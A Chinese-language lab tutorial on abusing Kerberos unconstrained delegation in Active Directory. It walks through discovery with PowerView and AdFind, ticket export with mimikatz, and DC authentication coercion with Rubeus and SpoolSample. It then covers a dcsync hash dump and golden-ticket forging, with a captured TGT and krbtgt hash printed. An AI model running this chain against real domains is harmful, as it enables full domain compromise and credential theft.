域委派
首先了解一下什么是委派,委派即委托安排,我把这件事委托给你做了。域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
域委派流程
一个域内普通用户jack通过Kerberos协议认证到前台WEB服务后,前台运行 WEB服务的服务账号websvc模拟(Impersonate)用户 jack,以Kerberos 协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中单跳或者多跳的Kerberos认证。
流程
-
域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器; Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
-
KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;
-
websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;
-
KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;
-
websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。
非约束委派攻击
在域内只有主机账号和服务账号才有委派属性
主机账号:活动目录中的computers组内的计算机,也被 称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加 入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。
从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机 器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。
域环境
域管:dc1 10.10.10.142
备用域管:dc2 10.10.10.140
域用户1:12server1 10.10.10.152
域用户2: 12server2 10.10.10.138
搭建复现
注册服务用户 注册服务账号后 具有委派选项
setspn -A https/web web
设置主机委派
当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含 TRUSTED_FOR_DELEGATION
powerview 查询配置非约束委派
导入模块 PowerView.ps1
Import-Module .\PowerView.ps1
查询非约束主机
Get-NetComputer -Unconstrained -Domain redteam.club
查询非约束用户
Get-NetUser -Unconstrained -Domain redteam.club | select name
adfind查询非约束委派
非约束委派的主机 AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName 非约束委派的用户: AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派攻击案例
域管理使用winrm服务器远程连接域内主机
Enter-PSSession -ComputerName 12server2
此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证:
privilege::debug sekurlsa::tickets /export
导入先前凭证:
kerberos::ptt 凭证名称 kerberos::list
访问域控ad1
非约束委派&Spooler
登录12server2的cmd
runas /profile /user:12server2\administrator cmd.exe
确认目标主机开启相关权限
后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控ad1的登录 本地管理员运行 Rubeus.exe monitor /interval:1 /filteruser:ad1$ > c:\hash.txt 本地cmd SpoolSample.exe ad1 12server2
表示利用打印服务强制让域控机向12server2主机验证身份,这样我们的Rubeus就可以监听到TGS了
提取tgs
doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+gAwIBAqEYMBYbBmtyYnRn dBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7Xu9LjAWiSmr5BxONwMGP/uhdCMNTfr4/d9nu1+AXd1+66P b4uvP6IdH5aYXyqCmiYSGoRaKbb2TMqnQRYpVFDR/L8nbv+drVJL+pdUSdy6pvhJw8uhTtIPeK/gaYu/3iO1OUqzK7Um34YHo30U 4/qhaZUquaT5S/QotOe0Dl1KomEJgW2YVKD/qEd+Dc6/6cEVr/QTFQX6k8PiYpcJENTSGrcmMnVBYJV8JGg0Z3tRc6Z2hfZSYOoa xzIt8AhOwZ1lPi6AgNojcmbga8cJ0FU6ZbXuoaEzvewkacmOuR6V6mjHNwy87AZUbiju4Is4jrkWGm5vFWW0pR1xuG519a2QajNk GM8on+K5il3ZUXwllnulmtCnRbSKk0MBgvTX8dioa/IsnAyqC6rU7CoBnRe1voOxJcxInK9VfUbLcJYka+j1vUgyzMYfS+O+0zSI oZ4XfM5lzCOG0tIzj15LMWmoP5T/5Ad7i761j+9xn4buFjtdStgtTCO2o6A6uqKKlrED6S6q1Zi7NtxFZQlRmGoJOruLzy0sWDet +uDVnNEG65+t7IcE4FEBFZ3JWGIxykh0XKzYswMPPgQQ6+wEISqOys3EWQMe68ftVIutOV7sdyAN0yx/Pi2fanGNAieovIIqCqz3 bqb5DwUN7suTM5wNbrnfiVlcWFLXyb3bog2/cP/+XYVQniuqEpk6Gz+36exYhLKCb/Thzz4Ld1mmmMueoEAvDl1wcpv8jbD0mVJX aFGqGe7jmlzuDBNLLX8725eSm973Lj9qvdw3FiSPvVZvcdBHcFgIbaLyIQyEfUM+i0VKqSfUKxxcnABVkoldSnD2EW3Tiufz5CDC TuGJanqSA1tB6Mmlvsf6jCotadYpenrlQ5AVNt2YCxLnPh4qSuc9DlNbFsuWpCVZu0bgrVsWcuq9LfPaWdjK+4iQmY8WJukcRSQO L5lVBXPSFFLhMdQT0s5O+7lgRSOP7j1atrqQMkZRUVNqRGwuloM05nP6W7IIDwQ6OTwjzcdC2Hz0Jb5FodjEPPVqvWKKHEcsZgig ffDRxtdBCR8suwNK7VhNpPstYBGPIi8WERYUYAuF3w7BppXp1ZwjrPXYEJP2XeS6v6eNmoLtiXE9H6QVMFmQue5rDRwuFABe6PGa 5Ze9CRzdnwUnIDIU9tkOtfik7RdEXXSmkk4bIaPPADY5LMlNeT9HXsmrPnsFE9UT0A1sSvPQJCmsSKST1j0AM9lXj7eBRQ95fx7e Mp6+Z2gNJA8p8H5MTalso4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQg5GlyBnawcQWtydP1Juxo yZrBlDkfbQ/Mgd7iuSlEKzmhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEAAKURGA8yMDIyMTExMjEw NDAxOVqmERgPMjAyMjExMTIyMDM5MzhapxEYDzIwMjIxMTE5MTAzOTM4WqgOGwxSRURURUFNLkNMVUKpITAfoAMCAQKhGDAWGwZr cmJ0Z3QbDFJFRFRFQU0uQ0xVQg==
然后直接用 powershell 转到为正常的 TGT 即可
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的 base64"))
注入票据 导出hash 导入票据后ptt即可
用mimikatz也可
kerberos::list kerberos::ptt 票据路径 导出hash mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt
制作黄金票据访问域控
当前的权限是域的本地管理员,不是域控的权限,所以还是要制作黄金票据 访问域控 获取域控的sid
whoami /all S-1-5-21-2365300756-2663045586-4193326672
sid 不需要后面的位数 制作黄金票据语句
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586- 4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator /ticket:ntlm.kirbi
制作成功后 导入票据访问域控
kerberos::ptt ntlm.kirbi dir \\ad1\c$ 管理员权限
两个人从监狱的窗户往外看,一个看见了土地,一个看见了星星。